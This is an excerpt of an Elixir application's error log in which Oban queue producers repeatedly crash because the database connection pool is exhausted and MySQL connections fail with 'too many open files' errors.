See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:06:32.240056Z], limit: 3, uuid: "7e71499b-8913-4263-a833-ca0adabfa089", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:32.240061Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.46323>, refresh_timer: #Reference<0.2525715032.1068498948.46292>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1047ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:06:32.239455Z], limit: 50, uuid: "251a69fb-6d27-4564-b29b-c7998f4d7eb6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:32.239460Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.46322>, refresh_timer: #Reference<0.2525715032.1068498948.46281>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:06:32.239303Z], limit: 20, uuid: "a8c245fb-b154-476e-9c3d-87824c42151e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:32.239309Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.46324>, refresh_timer: #Reference<0.2525715032.1077673987.21808>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:46.793000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:47.236000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:48.243000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:51.715000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:52.345000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:52.634000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:06:44.241995Z], limit: 5, uuid: "47b0a2ea-5e34-4fd8-b01c-8a57727b6952", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:44.241999Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.46582>, refresh_timer: #Reference<0.2525715032.1099431938.46141>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:06:44.241728Z], limit: 20, uuid: "5a52fd63-126d-48f7-95d1-ff905292239a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:44.241734Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.46581>, refresh_timer: #Reference<0.2525715032.1099431938.46130>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:06:44.241894Z], limit: 3, uuid: "9c253735-2094-4e50-bf27-28c7edca61a9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:44.241899Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.46580>, refresh_timer: #Reference<0.2525715032.1121189889.158463>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:06:44.244109Z], limit: 50, uuid: "ba6c71e8-3df0-4b6f-b168-b1d16965c2e8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:44.244114Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.46155>, refresh_timer: #Reference<0.2525715032.1099431938.46154>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:56.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:06:44.242049Z], limit: 10, uuid: "f2997ef7-93d4-4023-8b1e-522656170fd3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:44.242054Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.46578>, refresh_timer: #Reference<0.2525715032.1121189889.158472>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:56.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:06:44.241713Z], limit: 5, uuid: "88c4e98d-28e6-4935-b820-c97606081588", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:44.241719Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.46579>, refresh_timer: #Reference<0.2525715032.1121189889.158454>, dispatch_cooldown: 5, running: %{}}
